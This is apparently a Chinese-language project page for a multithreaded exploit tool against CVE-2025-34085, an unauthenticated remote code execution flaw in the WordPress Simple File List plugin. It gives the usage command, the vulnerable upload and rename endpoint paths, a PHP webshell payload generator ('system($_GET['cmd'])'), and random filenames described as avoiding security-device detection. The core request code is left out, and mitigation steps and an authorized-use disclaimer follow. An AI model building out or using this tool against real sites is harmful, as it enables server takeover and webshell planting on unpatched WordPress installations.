WordPress Simple File List插件RCE利用工具
项目简介
本项目是一个针对CVE-2025-34085漏洞的专业级WordPress Simple File List插件远程代码执行(RCE)漏洞利用工具。该漏洞影响WordPress Simple File List插件4.2.3之前的所有版本,允许未经身份验证的攻击者上传恶意文件并执行任意系统命令,CVSS评分为10.0(严重级别)。
功能特性
- 多线程批量处理:支持最多20个并发线程,提高漏洞检测和利用效率
- 灵活的命令执行:支持自定义系统命令执行,可获取服务器敏感信息
- 自动URL规范化:智能处理目标URL格式,自动添加HTTP协议前缀
- 随机文件名生成:每次利用生成随机文件名,避免被安全设备检测
- 结果验证机制:支持通过预期子字符串验证命令执行结果
- 彩色输出界面:使用Colorama库提供直观的彩色终端输出
安装指南
系统要求
- Python 3.6或更高版本
- 支持的操作系统:Windows/Linux/macOS
依赖安装
pip install requests colorama
快速开始
- 克隆或下载项目文件
- 安装必要的Python依赖包
- 确保目标服务器运行易受攻击的WordPress Simple File List插件版本(<4.2.3)
使用说明
基本用法
python3 CVE-2025-34085.py -u https://target.com/ --cmd "id"
参数说明
-u, --url:目标WordPress网站URL--cmd:要执行的系统命令(默认为"id")
配置选项
可在脚本中修改以下配置参数:
EXPECTED_SUBSTRING = None # 命令输出验证字符串
THREADS = 20 # 并发线程数
COMMAND = "id" # 默认执行的系统命令
典型使用场景
- 安全评估:验证WordPress网站是否受CVE-2025-34085漏洞影响
- 渗透测试:在授权范围内测试目标系统的安全性
- 应急响应:快速检测组织内受影响的WordPress站点
核心代码
主程序结构
#!/usr/bin/env python3
import requests
import hashlib
import time
import random
import string
import uuid
import argparse
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor
from colorama import Fore, Style, init
# 初始化彩色输出
init(autoreset=True)
# 全局配置
EXPECTED_SUBSTRING = None # 接受任何输出
THREADS = 20
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "*/*"
}
UPLOAD_PATH = "/wp-content/plugins/simple-file-list/ee-upload-engine.php"
RENAME_PATH = "/wp-content/plugins/simple-file-list/ee-file-engine.php"
SHELL_PATH = "/wp-content/uploads/simple-file-list/"
URL规范化函数
def normalize_url(domain):
"""
规范化目标URL,确保包含协议前缀
Args:
domain: 目标域名或URL
Returns:
规范化后的完整URL
"""
if not domain.startswith("http://") and not domain.startswith("https://"):
return "http://" + domain
return domain.rstrip('/')
随机字符串生成器
def rand_str(n=8):
"""
生成指定长度的随机字符串
Args:
n: 字符串长度,默认为8
Returns:
由小写字母和数字组成的随机字符串
"""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
Payload生成函数
def generate_payload(cmd=None, inline=False):
"""
生成PHP代码payload
Args:
cmd: 要执行的系统命令
inline: 是否生成内联命令格式
Returns:
PHP代码字符串
"""
if inline:
return f"system('{cmd}');"
return "system($_GET['cmd']);"
漏洞利用主函数
def send_exploit(target):
"""
发送漏洞利用请求到目标
Args:
target: 目标URL
Returns:
利用结果状态和信息
"""
url = normalize_url(target)
filename = rand_str()
timestamp = str(int(time.time()))
token = hashlib.md5(f'unique_salt{timestamp}'.encode()).hexdigest()
# 生成包含PHP代码的payload
php_payload = f"<?php\n{generate_payload()}\n?>"
# 这里省略了具体的HTTP请求代码
# 实际实现包括文件上传、重命名和命令执行三个步骤
return exploit_result
横幅显示函数
def banner():
"""
显示工具横幅和基本信息
使用红色加粗字体突出显示关键信息
"""
print(Fore.RED + Style.BRIGHT + r"""
██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗
██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║
██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║
██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║
██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║
╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝
CVE-2025-34085 — Simple File List WordPress Plugin RCE 📌
Author: Black Ash | B1ack4sh
""")
print(Fore.RED + "[•] Starting multithreaded exploit...\n")
漏洞背景
漏洞描述
Simple File List插件存在文件上传后重命名时的验证缺陷,攻击者可以:
- 上传包含PHP代码的伪图像文件(如.png)
- 通过易受攻击的脚本将文件重命名为.php扩展名
- 远程执行该文件,获得服务器的完整代码执行权限
影响版本
- 所有4.2.3之前的Simple File List插件版本
- 无需身份验证即可利用
- 公开的PoC和利用脚本已广泛传播
缓解措施
- 将Simple File List插件更新至4.2.3或更高版本
- 暂时禁用或删除插件
- 阻止对
ee-upload-engine.php和ee-file-engine.php脚本的访问 - 使用Web应用程序防火墙(WAF)监控和阻止恶意请求
注意事项
- 本工具仅供授权测试和教育研究使用
- 未经授权的系统访问是非法的
- 使用前请确保获得目标系统的明确授权
- 漏洞详情已分配CVE编号:CVE-2025-34085
- 该漏洞已被确认为CVE-2020-36847的重复项,但实际影响仍然存在FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5YxIveGW9t/6b4OXfSIsBD